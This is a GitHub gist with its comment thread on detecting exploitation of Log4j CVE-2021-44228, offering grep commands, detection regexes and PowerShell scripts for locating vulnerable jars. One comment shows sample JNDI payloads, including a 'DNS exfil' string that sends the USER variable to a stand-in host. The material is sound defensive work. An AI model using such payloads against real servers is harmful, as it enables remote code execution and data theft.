

Instantly share code, notes, and snippets.



Neo23x0 / [log4j_rce_detection.md](#)

Last active 2 months ago

☆ Star 514

🔗 Fork 72

<> Code

🔄 Revisions 35

☆ Stars 510

🔗 Forks 72

Embed ▾

<script



Download ZIP

Log4j RCE CVE-2021-44228 Exploitation Detection

🔗 [log4j_rce_detection.md](#)

Raw

log4j RCE Exploitation Detection

You can use these commands and rules to search for exploitation attempts against log4j RCE vulnerability CVE-2021-44228

Grep / Zgrep

This command searches for exploitation attempts in uncompressed files in folder `/var/log` and all sub folders

```
sudo egrep -I -i -r '\$(\{|%7B)jndi:(ldap[s]?|rmi|dns|nis|iio|corba|nds|http):/[^\n]+'
```

This command searches for exploitation attempts in compressed files in folder `/var/log` and all sub folders

```
sudo find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$(\{|%7B)jndi:(ldap[s]?|
```

Grep / Zgrep - Obfuscated Variants

These commands cover even the obfuscated variants but lack the file name in a match.

This command searches for exploitation attempts in uncompressed files in folder `/var/log` and all sub folders

```
sudo find /var/log/ -type f -exec sh -c "cat {} | sed -e 's/\${lower:}/'g | tr -d '{}'" |
```

This command searches for exploitation attempts in compressed files in folder `/var/log` and all sub folders

```
sudo find /var/log/ -name '*.gz' -type f -exec sh -c "zcat {} | sed -e 's/\${lower:}/'g
```

Log4Shell-Rex

A massive regex to cover even the most obfuscated variants: <https://github.com/back2root/log4shell-rex>

```
(?:\${(?:25)*24|\\(?:0024|0{0,2}44)})(?:{(?:25)*7[Bb]|\\(?:007[Bb]|0{0,2}173)}){0,30}?
```

Log4Shell Detector (Python)

Python based scanner to detect the most obfuscated forms of the exploit codes.

<https://github.com/Neo23x0/log4shell-detector>

Find Log4j on Linux

```
ps aux | egrep '[l]og4j'
find / -iname "log4j*"
lsof | grep log4j
grep -r --include *. [wj]ar "JndiLookup.class" / 2>&1 | grep matches
```

Find Vulnerable Log4j on Windows

```
gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $
```

by [@CyberRaiju](#)

YARA

https://github.com/Neo23x0/signature-base/blob/master/yara/expl_log4j_cve_2021_44228.yar

Help

Please report findings that are not covered by these detection attempts.

Credits

I got help and ideas from

- [@matthias_kaiser](#)
- [@daphiel](#)
- [@Reelix](#)
- @atom-b

[Load earlier comments...](#)



max19931 commented on Dec 13, 2021 • edited ▼



why not try test against all repos listed here: <https://github.com/apache/log4j/network/dependents> and see which goes get positive results?



nongiach commented on Dec 13, 2021



```
grep -rPi '(\$|%24)[^ /]*({|%7b)[^ /]*(j|%6a)[^ /]*(n|%6e)[^ /]*(d|%64)[^ /]*(i|%69)[^ /]*(%3a)
```

Match all current obfuscation attempt and urlencoded payload.

<https://twitter.com/chaignc/status/1470371365693886466?s=20> <= here for future updates.

 **Enelar** commented on Dec 13, 2021

Quick version extractor:

```
find / | grep log4j | grep .jar | xargs -I {} sh -c 'echo {} && unzip -p {} META-INF/MANIFEST.MF  
| grep Implementation-Version:'
```

 **mschoon85** commented on Dec 13, 2021

Hi guys,

I need a bit of help. I'm using the Windows Powershell command (`gci 'C:' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path`) as written above. However, somehow there are folders named for example foldername.jar. Which makes the script fail. How can I make sure the script does not look into folders with .jar in the name?

Thanks!

 **madCdan** commented on Dec 13, 2021

To help me deobfuscate logs I wrote a small tool which is based on the actual lookup mechanism of log4j :
<https://github.com/madCdan/JndiLookup>

 **carloswpa** commented on Dec 13, 2021

To exclude folders in powershell command:

```
gci 'C:' -rec -force -include *.jar -ea 0 | where {!$.PSIsContainer} | foreach {select-string "JndiLookup.class" $_} |  
select -exp Path
```

 **back2root** commented on Dec 13, 2021

I think we need to add:

...|http[s]?)

 gawainXX commented on Dec 13, 2021 • edited ▼

GCI is pretty taxing and slow on a drive by default as it parses file attributes before names,

I'd recommend tweaking the search slightly as follows

```
Get-ChildItem -Path "C:\" -File "*.jar" -Recurse -ErrorAction SilentlyContinue | foreach {select-string "JndiLookup.class" $_} | select -exp Path
```

 Only downside is I don't think -File is supported in powershell < 3.0

source:

<https://devblogs.microsoft.com/powershell/why-is-get-childitem-so-slow/>

<https://stackoverflow.com/questions/13770262/is-get-childitems-new-file-parameter-fast-like-filter-or-slow-like-include>

 shutingrz commented on Dec 13, 2021 • edited ▼

Hi guys! In Linux environment, "\${sys:file.separator}" will be replaced by "/". For this reason, do not include "/" in the regular expression.

- RMI

```
{jndi:rmi:${sys:file.separator}${sys:file.separator}example.local:1234${sys:file.separator}a}
```

- DNS exfil

```
{jndi:dns:${sys:file.separator}${env:USER}.example.local}
```

@nongiach

Match all current obfuscation attempt and urlencoded payload.

With this pattern, your regex will not match.

 Schvonn commented on Dec 14, 2021 • edited ▼

Combining a lot of this Regex into one, that will allow for spaces where allowed and multi-level url encoding:

```
(?i)(%{25}{0,}20\s)(%{25}{0,}24|$)(%{25}{0,}20\s)(%{25}{0,}7B|{0,1}{%{25}{0,}20\s)(%{25}{0,}(6A|4A)|J)(%{25}{0,}(6E|4E)|N)(%{25}{0,}(64|44)|D)(%{25}{0,}(69|49)|I)(%{25}{0,}20\s)(%{25}{0,}3A|:)[\w%]+(%{25}{1,}3A|:)(%{25}{1,}2F|/)[^\n]+
```

Breakdown:

(?i) = case-insensitive

(%{25}{0,}20\s)* = any number of spaces

(%{25}{0,}24|\$) = \$

(%{25}{0,}20\s)*

(%{25}{0,}7B|{0,1}) = { zero or one time *Updated condition*

(%{25}{0,}20\s)

(%{25}{0,}(6A|4A)|J) = J

(%{25}{0,}(6E|4E)|N) = N

(%{25}{0,}(64|44)|D) = D

(%{25}{0,}(69|49)|I) = I

(%{25}{0,}20\s)*

(%{25}{0,}3A|:) = :

[\w%]+ = any number of any letters, url encoded or not

(%{25}{0,}3A|:)

(%{25}{0,}2F|/) = /

[^\n]+ = until end of line

Examples that should work:

\$ { JNDI : ANYPROTOCOL:/

\$ {jndi:ldap:/

\$ {jNDi:l%252564ap:/

RegEx101 breakdown: <https://regex101.com/r/RGuaM9/1/>

Edit: I realize that the first { is not absolutely required. Therefore, I have made that optional now, by adding {0,1} to the end of it.

Also, we have captured several very different methods of attempting this exploit in our environment, which involve more programmatic attempts to obscure the exploit, using methods like \$upper/\$lower, among others. You can see them captured in an alternate version of the Regex below:

<https://regex101.com/r/jjCEHO/1>

The EDR tool I'm using has a length limitation for conditions, so I had to create a separate Regex to capture these very different methods. I recommend you check for both Regex patterns:

```
(?i)$(([:-[A-Z%]]$){1,}|(ENV|LOWER|UPPER):.+[:])?2)/[^\n]+
```

Note: I did not convert this second method into URLEncoded strings, but feel free to do so, if you believe it beneficial.

Here is the combined Regex for both sets of conditions, together:

```
(?i)((%{25}{0,}20\s){0,}24$)(%{25}{0,}20\s){0,}7B{0,1}(%{25}{0,}20\s){0,}(6A|4A|J){0,}(6E|4E|N){0,}(64|44|D){0,}(69|49|I){0,}20\s){0,}3A:[\w%]+(%{25}{1,}3A:){0,}{1,}2F|/)$((:-[A-Z%])$){1,}|(ENV|LOWER|UPPER):.+[:]{2}/)^[^n]+
```

 TheFiZi commented on Dec 14, 2021 • edited ▾

This might be helpful, basically gets all fixed disks on Windows and performs the one liner provided above to look for vulnerable jar files

Should work on Server 2008 -> 2022, hopefully it's helpful.

```
<#
.Synopsis
    Checks the local system for Log4Shell Vulnerability [CVE-2021-44228]
.DESCRIPTION
    Gets a list of all volumes on the server, loops through searching each disk for Log4j stuff
    Using base search from https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b#find-

Version History
    1.0 - Initial release
    1.1 - Changed ErrorAction to "Continue" instead of stopping the script
    1.2 - Went back to SilentlyContinue, so much noise
.EXAMPLE
    .\check_CVE-2021-44228.ps1
.NOTES
    Created by Eric Schewe 2021-12-13
#>

# Get Windows Version string
$windowsVersion = (Get-WmiObject -class Win32_OperatingSystem).Caption

# Server 2008 (R2)
if ($windowsVersion -like "*2008*") {

    $disks = [System.IO.DriveInfo]::getdrives() | Where-Object {$_.DriveType -eq "Fixed"}

}
# Everything else
else {

    $disks = Get-Volume | Where-Object {$_.DriveType -eq "Fixed"}

}

# I have no idea why I had to write it this way and why .Count didn't just work
```

```
$diskCount = $disks | Measure-Object | Select-Object Count -ExpandProperty Count

Write-Host -ForegroundColor Green "$(Get-Date -Format "yyyy-MM-dd H:mm:ss") - Starting the search

foreach ($disk in $disks) {

    # One liner from https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b#find-vulner
    # gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_}

    # Server 2008 (R2)
    if ($windowsVersion -like "*2008*") {

        Write-Host -ForegroundColor Yellow " $(Get-Date -Format "yyyy-MM-dd H:mm:ss") - Checking
        Get-ChildItem "$($disk.Name)" -Recurse -Force -Include *.jar -ErrorAction SilentlyContinu


    }
    # Everything else
    else {

        Write-Host -ForegroundColor Yellow " $(Get-Date -Format "yyyy-MM-dd H:mm:ss") - Checking
        Get-ChildItem "$($disk.DriveLetter):\\" -Recurse -Force -Include *.jar -ErrorAction Silent

    }

}

Write-Host -ForegroundColor Green "$(Get-Date -Format "yyyy-MM-dd H:mm:ss") - Done checking all d
```

 mschoon85 commented on Dec 14, 2021 • edited ▼

[@carloswpa](#) Thanks! Unfortunately this breaks the script. I get the following error:

At C:\Users\Administrator\Desktop\Log4jSCAN\Windows\log4jscanV2.ps1:4 char:54

- gci 'C:' -rec -force -include *.jar -ea 0 | where {!\$.PSIsContainer} | foreach ...

- ~

Missing expression after unary operator '!'.
At C:\Users\Administrator\Desktop\Log4jSCAN\Windows\log4jscanV2.ps1:4 char:54

- gci 'C:' -rec -force -include *.jar -ea 0 | where {!\$.PSIsContainer} | foreach ...

- ~~~~~

Unexpected token '\$.PSIsContainer' in expression or statement.

At C:\Users\Administrator\Desktop\Log4jSCAN\Windows\log4jscanV2.ps1:5 char:54

- gci 'D:' -rec -force -include *.jar -ea 0 | where {\$.PSIsContainer} | foreach ...

- ~

Missing expression after unary operator '!'.
At C:\Users\Administrator\Desktop\Log4jSCAN\Windows\log4jscanV2.ps1:5 char:54

- gci 'D:' -rec -force -include *.jar -ea 0 | where {\$.PSIsContainer} | foreach ...

- ~~~~~

Unexpected token '\$.PSIsContainer' in expression or statement.

At C:\Users\Administrator\Desktop\Log4jSCAN\Windows\log4jscanV2.ps1:6 char:54

- gci 'E:' -rec -force -include *.jar -ea 0 | where {\$.PSIsContainer} | foreach ...

- ~

Missing expression after unary operator '!'.
At C:\Users\Administrator\Desktop\Log4jSCAN\Windows\log4jscanV2.ps1:6 char:54

- gci 'E:' -rec -force -include *.jar -ea 0 | where {\$.PSIsContainer} | foreach ...

- ~~~~~

Unexpected token '\$.PSIsContainer' in expression or statement.

+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException

+ FullyQualifiedErrorId : MissingExpressionAfterOperator



cedric2bx commented on Dec 14, 2021 • edited ▾

...

@TheFiZi i made some modifications, hoping this helps

<#

• **Synopsis**

Checks the local system for Log4Shell Vulnerability [CVE-2021-44228]

• **DESCRIPTION**

Gets a list of all volumes on the server, loops through searching each disk for Log4j stuff
Using base search from <https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b#find->

```
Version History
  1.0 - Initial release
  1.1 - Changed ErrorAction to "Continue" instead of stopping the script
  1.2 - Went back to SilentlyContinue, so much noise
  1.3 - Replace attribute -Include by -Filter (prevent unauthorized access exception stoppi
  1.4 - Take only disks with a drive letter
  1.5 - Remove duplicate path with Get-Unique cmdlet
  1.6 - TODO : Out-File

.EXAMPLE
.\check_CVE-2021-44228.ps1

.NOTES
    Created by Eric SCHEWE 2021-12-13
    Modified by Cedric BARBOTIN 2021-12-14
#>

# Get machine name
$machine = Invoke-Expression -Command 'hostname'

# Get Windows Version string
$windowsVersion = (Get-WmiObject -class Win32_OperatingSystem).Caption

# Server 2008 (R2)
if ($windowsVersion -like "*2008*") {

    $disks = [System.IO.DriveInfo]::getdrives() | Where-Object {$_.DriveType -eq "Fixed" }
}
# Everything else
else {

    $disks = Get-Volume | Where-Object {$_.DriveType -eq "Fixed" }
}
# Take only disk with a drive letter
$disks = $disks | Where-Object { -not [string]::IsNullOrEmpty($_.DriveLetter) }

# I have no idea why I had to write it this way and why .Count didn't just work
$diskCount = $disks | Measure-Object | Select-Object Count -ExpandProperty Count

Write-Host -ForegroundColor Green "$(Get-Date -Format "yyyy-MM-dd H:mm:ss") - Starting the search

foreach ($disk in $disks) {

    # One liner from https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b#find-vulner
    # gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_}

    # Server 2008 (R2)
    if ($windowsVersion -like "*2008*") {

        Write-Host -ForegroundColor Yellow "  $(Get-Date -Format "yyyy-MM-dd H:mm:ss") - Checking
        Get-ChildItem "$($disk.Name)" -Recurse -Force -Filter *.jar -ErrorAction SilentlyContinue
    }
    # Everything else
    else {
```

```
Write-Host -ForegroundColor Yellow " $(Get-Date -Format "yyyy-MM-dd H:mm:ss") - Checking  
Get-ChildItem "$($disk.DriveLetter):\" -Recurse -Force -Filter *.jar -ErrorAction SilentlyContinue  
}  
  
}  
  
Write-Host -ForegroundColor Green "$($Get-Date -Format "yyyy-MM-dd H:mm:ss") - Done checking all disks"
```

Found on :

- OWASP Zed Attack Proxy
- Talend Open Studio (install and workspace directories)

 **danielolsson100** commented on Dec 14, 2021 • edited ▼

I created a configuration Item script to be use within SCCM to detect devices where the .jar files has the lib that can be compromised that may help the hunters out there.

Cred to [@TheFiZi](#)

```
.Synopsis  
Script for CI detection of CVE-2021-44228 with SCCM  
  
.DESCRIPTION  
Cred: https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b#find-vulnerable-software  
Eric Schewe 2021-12-13  
  
.NOTES  
1.0 2021-12-14 Created by Daniel Olsson  
1.1 2021-12-15 Added exclusion for junction / reparse  
#>  
  
$disks = Get-Volume | Where-Object {$_.DriveType -eq "Fixed" -and $_.DriveLetter -ne $null}  
$discoveryFlag = $false  
$response = $false  
  
foreach ($disk in $disks) {  
    $response = Get-ChildItem -Path "$($disk.DriveLetter):\" -File "*.jar" -Recurse -Attributes !Directory  
    if($response){  
        $discoveryFlag = $true  
    }  
    # $response  
}  
if($discoveryFlag){  
    return $true  
}
```

```
else{  
    Return $false  
}`
```

 **captain-lungo** commented on Dec 14, 2021

On macOS the search for Obfuscated Variants fails, cause it uses characters macOS-shell won't support.
I modified like this, can someone confirm this is correct?

```
sudo find /var/log/ -type f -exec sh -c "cat {} | LC_CTYPE=C sed -e 's/\${lower:/'g | LC_CTYPE=C  
tr -d '}' | egrep -I -i 'jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):'" \;
```

 **alevenelli** commented on Dec 15, 2021 • edited

For Windows Servers and Computers, a simple command to get all the jar files with "JndiLookup.class":

```
for /r %f in (*.jar) do (find /i /c "JndiLookup.class" "%f" 1>nul && echo "%f" >> "c:\lista.txt")
```

 **celloza** commented on Dec 15, 2021

If you have root access to a box containing docker images, based on [@umitgunduz](#)'s comment, you can use the following script to iterate through all docker containers, and find usages of JndiLookup.class:

```
for container in `docker ps -q`; do  
    # show the name of the container  
    docker inspect --format='{{.Name}}' $container;  
    # find instances of JndiLookup.class in files matching with log4*.jar  
    docker exec -u root $container find -name "log4*.jar" -exec sh -c 'unzip -l "{}" | grep -i --colo  
done
```

 **jig-champ** commented on Dec 15, 2021

Required help please for Solaris 10, getting below

```
bash-3.2# egrep -I -i -r '$({(%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\\n]+' /var/log  
egrep: illegal option -- I  
egrep: illegal option -- r
```

```
usage: egrep [ -bchilns ] [ -e exp ] [ -f file ] [ strings ] [ file ] ...
bash-3.2# find /var/log -name *.gz -print0 | xargs -0 zgrep -E -i '$({|}%7B)jndi:(ldap[s]?
|rmi|dns|nis|iio|corba|nds|http):/[^\n]+' find: bad option -print0
find: [-H | -L] path-list predicate-list
xargs: illegal option -- 0
xargs: Usage: xargs: [-t] [-p] [-e[eofstr]] [-E eofstr] [-l replstr] [-i[replstr]] [-L #] [-l[#]] [-n # [-x]] [-s size] [cmd [args
...]]
```

 **carlchan** commented on Dec 15, 2021 • edited ▾

Here's one I've been working on. So far detects all variations I've seen, even urlencoded. Just make sure to use case-insensitive for grep, or /i for everything else.

<https://gist.github.com/carlchan/916ed5edbef7c8d1c00be67daae8933e>

```
(\\$|%(25)*24)(\\{|%(25)*7B)((\\$|%(25)*24)(\\{|%(25)*7B)[^}]+(j|%(46)a)(n|%(46)e)?(d|%(46)4)?(i|%(46)9)?(%(25)*7(d|%(46)4)|\\})|(j|%(46)a)(n|%(46)e)?(d|%(46)4)?(i|%(46)9)?)((\\$|%(25)*24)(\\{|%(25)*7B)[^}]+(j|%(46)a)?(n|%(46)e)(d|%(46)4)?(i|%(46)9)?(%(25)*7(d|%(46)4)|\\})|(j|%(46)a)?(n|%(46)e)(d|%(46)4)?(i|%(46)9)?)((\\$|%(25)*24)(\\{|%(25)*7B)[^}]+(j|%(46)a)?(n|%(46)e)?(d|%(46)4)(i|%(46)9)?(%(25)*7(d|%(46)4)|\\})|(j|%(46)a)?(n|%(46)e)?(d|%(46)4)(i|%(46)9)?)((\\$|%(25)*24)(\\{|%(25)*7B)[^}]+(j|%(46)a)?(n|%(46)e)?(d|%(46)4)?(i|%(46)9)?(%(25)*7(d|%(46)4)|\\})|(j|%(46)a)?(n|%(46)e)?(d|%(46)4)?(i|%(46)9)?)((\\$|%(25)*24)(\\{|%(25)*7B)[^}]+(j|%(46)a)?(n|%(46)e)?(d|%(46)4)?(i|%(46)9)?(%(25)*7(d|%(46)4)|\\})|(j|%(46)a|n|%(46)e|d|%(46)4|i|%(46)9)+)+)
```

 **realtebo** commented on Dec 15, 2021

In our server there are ZERO software using log4j
We detected a LOT of attempt but how to understand if an attack succeeded?

 **knightian** commented on Dec 15, 2021

@realtebo I guess if you have zero software using log4j then it is not possible for an attack to succeed right?

 **chetkhatri** commented on Dec 15, 2021

@alevenelli This is great, can you share some windows or powershell command to delete "JndiLookup.class" file.
Thanks much

For Windows Servers and Computers, a simple command to get all the jar files with "jndilookup.class":
for /r %f in (*.jar) do (find /i /c "JndiLookup.class" "%f" 1>nul && echo "%f" >> "c:\lista.txt")

 **juliusmusseau** commented on Dec 16, 2021 • edited ▼

Fantastic resource here. Thanks!

I've put together a free (GPLv3) log4j detector for scanning the file-system. Handy for figuring out exactly what versions are lurking in the folders. Looks for String literals embedded inside the *.class files to determine Log4J version information (not based on hashes at all).

<https://github.com/mergebase/log4j-detector>

Sample output:

```
java -jar log4j-detector-2021.12.15.jar ./samples
```

```
/opt/mergebase/log4j-detector/samples/log4j-1.2.17.jar contains Log4J-1.x    <= 1.2.17 _OLD_ :-|
/opt/mergebase/log4j-detector/samples/log4j-core-2.0-beta2.jar contains Log4J-2.x    <= 2.0-beta8
/opt/mergebase/log4j-detector/samples/log4j-core-2.0-beta9.jar contains Log4J-2.x    >= 2.0-beta9
/opt/mergebase/log4j-detector/samples/log4j-core-2.0.2.jar contains Log4J-2.x    >= 2.0-beta9 (< 2
/opt/mergebase/log4j-detector/samples/log4j-core-2.0.jar contains Log4J-2.x    >= 2.0-beta9 (< 2.1
/opt/mergebase/log4j-detector/samples/log4j-core-2.10.0.jar contains Log4J-2.x    >= 2.10.0 _VULNE
/opt/mergebase/log4j-detector/samples/log4j-core-2.12.2.jar contains Log4J-2.x    >= 2.12.2 _SAFE_
/opt/mergebase/log4j-detector/samples/log4j-core-2.14.1.jar contains Log4J-2.x    >= 2.10.0 _VULNE
/opt/mergebase/log4j-detector/samples/log4j-core-2.15.0.jar contains Log4J-2.x    >= 2.15.0 _OKAY_
/opt/mergebase/log4j-detector/samples/log4j-core-2.16.0.jar contains Log4J-2.x    >= 2.16.0 _SAFE_
```

 **jlasti** commented on Dec 16, 2021

Thank you for the information in this gist. It was really helpful!

Here is my attempt on detection. It is a little slower, but can be used to extract IoCs as it does the deobfuscation in the beginning:

```
sed -E -e 's/%24/\$/g' -e 's/%7B/{/gi' -e 's/%7D/\}/gi' -e 's/%3A/:/gi' -e 's/%2F/\//gi' http_req
```

Just add your regex to the end of the pipeline, e.g. for IP addresses:

```
sed -E -e 's/%24/\$/g' -e 's/%7B/{/gi' -e 's/%7D/}/gi' -e 's/%3A/:/gi' -e 's/%2F///gi' http_req
```

 **darkpandaman** commented on Dec 16, 2021

Some more commands to detect log4j loaded in a running JVM (courtesy of Twitter @web_bn), using JDK utils **jps** and **jcmd**:

Linux

```
jps | grep -v " Jps$" | cut -f1 -d " " | xargs -I '{}' jcmd '{}' VM.class_hierarchy | grep logging.log4j
```

Windows powershell:

```
jps | select-string -notmatch "jps$" | foreach {jcmd $_.Line.split()[0] VM.class_hierarchy} | select-string "log4j"
```

 **djblazkiewicz** commented on Dec 16, 2021

@TheFiZi it might be beneficial to add support for .war (web application archive) files

for some reason -path and -file does not work together when having an array of file types (at least for me, anyway), so I'm running it like so - it's a bit crude but it seems to work for me:

```
foreach ($disk in $disks) {  
    set-location "$($disk.DriveLetter):\  
    $response+= Get-ChildItem -File "*.jar","*.war" -Recurse -Attributes !reparsepoint -ErrorAct  
    if($response){  
        $discoveryFlag = $true  
    }  
    # $response  
}
```

 **Elyytscha** commented on Dec 17, 2021

is there a way to determine if attempts where successful?



ecki commented on Dec 17, 2021



Yes, besides typical signs of compromise you should also be able to detect outgoing and unexpected network connections from your affected servers at the time of attack. Especially if you filter for RMI, LDAP or TLS(ldaps) connections - unfortunately on arbitrary ports.



TheFiZi commented on Dec 17, 2021



[@djblazkowicz](#) Thank you! Now I have to re-audit everything for .war file :(

I took your idea and did this instead so I could change as little as possible:

```
Get-ChildItem "$($disk.DriveLetter):\" -Recurse -Force -Include @("*.jar","*.war") -ErrorAction SilentlyContinue | ForEach-Object { Select-String "JndiLookup.class" $_ } | Select-Object -ExpandProperty Path | Get-Unique
```

Complete updated script:

```
<#
.Synopsis
    Checks the local system for Log4Shell Vulnerability [CVE-2021-44228]
.DESCRIPTION
    Gets a list of all volumes on the server, loops through searching each disk for Log4j stuff
    Using base search from https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b#find-

Version History
    1.0 - Initial release
    1.1 - Changed ErrorAction to "Continue" instead of stopping the script
    1.2 - Went back to SilentlyContinue, so much noise
    1.3 - Borrowed some improvements from @cedric2bx (https://gist.github.com/Neo23x0/e4c8b03
        Replace attribute -Include by -Filter (prevent unauthorized access exception stop
        Remove duplicate path with Get-Unique cmdlet
    1.4 - Added .war support thanks to @djblazkowicz (https://gist.github.com/Neo23x0/e4c8b03
.EXAMPLE
    .\check_CVE-2021-44228.ps1
.NOTES
    Created by Eric Schewe 2021-12-13
    Modified by Cedric BARBOTIN 2021-12-14
#>

# Get Windows Version string
$windowsVersion = (Get-WmiObject -class Win32_OperatingSystem).Caption

# Server 2008 (R2)
if ($windowsVersion -like "*2008*") {
```



```
$disks = [System.IO.DriveInfo]::getdrives() | Where-Object {$_.DriveType -eq "Fixed"}  
  
}  
# Everything else  
else {  
  
    $disks = Get-Volume | Where-Object {$_.DriveType -eq "Fixed"}  
  
}  
  
# I have no idea why I had to write it this way and why .Count didn't just work  
$diskCount = $disks | Measure-Object | Select-Object Count -ExpandProperty Count  
  
Write-Host -ForegroundColor Green "$(Get-Date -Format "yyyy-MM-dd H:mm:ss") - Starting the search  
  
foreach ($disk in $disks) {  
  
    # One liner from https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b#find-vulner  
    # gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_}  
  
    # Server 2008 (R2)  
    if ($windowsVersion -like "*2008*") {  
  
        Write-Host -ForegroundColor Yellow " $(Get-Date -Format "yyyy-MM-dd H:mm:ss") - Checking  
        Get-ChildItem "$($disk.Name)" -Recurse -Force -Include @("*.jar","*.war") -ErrorAction Si  
  
    }  
    # Everything else  
    else {  
  
        Write-Host -ForegroundColor Yellow " $(Get-Date -Format "yyyy-MM-dd H:mm:ss") - Checking  
        Get-ChildItem "$($disk.DriveLetter):\" -Recurse -Force -Include @("*.jar","*.war") -Error  
  
    }  
  
}  
  
Write-Host -ForegroundColor Green "$(Get-Date -Format "yyyy-MM-dd H:mm:ss") - Done checking all d
```

 najx commented on Dec 28, 2021

Thanks for the script [@TheFiZi](#)

[Sign up for free](#) to join this conversation on GitHub. Already have an account? [Sign in to comment](#)

[Terms](#) [Privacy](#) [Security](#) [Status](#) [Docs](#) [Contact](#) [Manage cookies](#) [Do not share my personal information](#)



© 2024 GitHub, Inc.